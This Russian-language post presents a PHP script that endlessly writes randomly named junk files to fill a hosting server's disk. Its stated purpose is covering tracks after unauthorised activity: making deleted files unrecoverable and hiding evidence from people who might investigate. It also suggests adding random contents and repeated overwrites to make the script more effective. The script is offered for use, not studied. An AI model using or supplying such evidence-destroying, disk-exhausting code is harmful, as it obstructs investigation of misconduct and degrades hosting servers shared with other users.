Задача:
Создать PHP скрипт, который заполнит всё свободное пространство на диске хостинга разнообразными файлами и папками. Для того, чтобы сделать невозможным, либо максимально усложнить процесс восстановления удаленных нами ранее оттуда файлов. В общем, затираем следы, после того, как мы там «похулеганили» и минимизируем количество улик.
После долгого гугления, был найден один php скрипт «Засеря».
Запускаем его в папке, у которой можно выставить права на запись и выполнение (chmod 777)
Сам скрипт:
<?php set_time_limit(0); ignore_user_abort(); echo("Понеслааась..."); ///////////////////////////////////////////////////////////////// $name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s', 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L', 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6', '7','8','9','0'); ////////////////////////////////////////////////////////////////// $rash= array('.txt','.dic','.doc','.xls','.exe','.ini', '.bat','.log','.dll','.hak','.wmf','.zip','.rar', '.tar','.gz','.jpg','.gif','.bmp'); ///////////////////////////////////////////////////////////////// while(true){ $perem = ""; $fuck=""; for($i = 0; $i < rand(20,1); $i++){ // количество сиволов в имени файла. $by = rand(0, count($name) - 1); $perem .= $name[$by]; } $ra=rand(0, count($rash)-1); $fuck.= $rash[$ra]; $fp=fopen($perem.$fuck,"w"); fwrite($fp,php_uname()); fclose($fp); } ?>
Наблюдаем за все больше растущим количеством файлов и радуемся…
В идеале, конечно, доработать его следующим функционалом:
— Научить его создавать файлы разного объема с беспорядочным содержимым внутри. Белый шум и ему подобные источники идеально бы сюда вписались.
— Научить его перезаписывать созданные файлы указанное количество раз.
P.S. Скрипт следует использовать только в том случае, когда у вас нет другого доступа к серверу, кроме как фтп. Если есть доступ к SSH, то используют уже готовые утилиты, которые удаляют все данные с сервера в несколько проходов.
P.S.S. Конечно он не сотрет логи сервера, которые зафиксировали что вы ранее записывали файлы с таким-то именем на сервер. Этот скрипт поможет вам только в том случае, когда в ваших файлах, которые вы уже удалили, содержалась информация, которая не должна попасть в поле зрения тех лиц, которые могут вами заинтересоваться. Так-же он не защитит вас, если на сервере создавались бэкапы и у вас нет к ним доступа.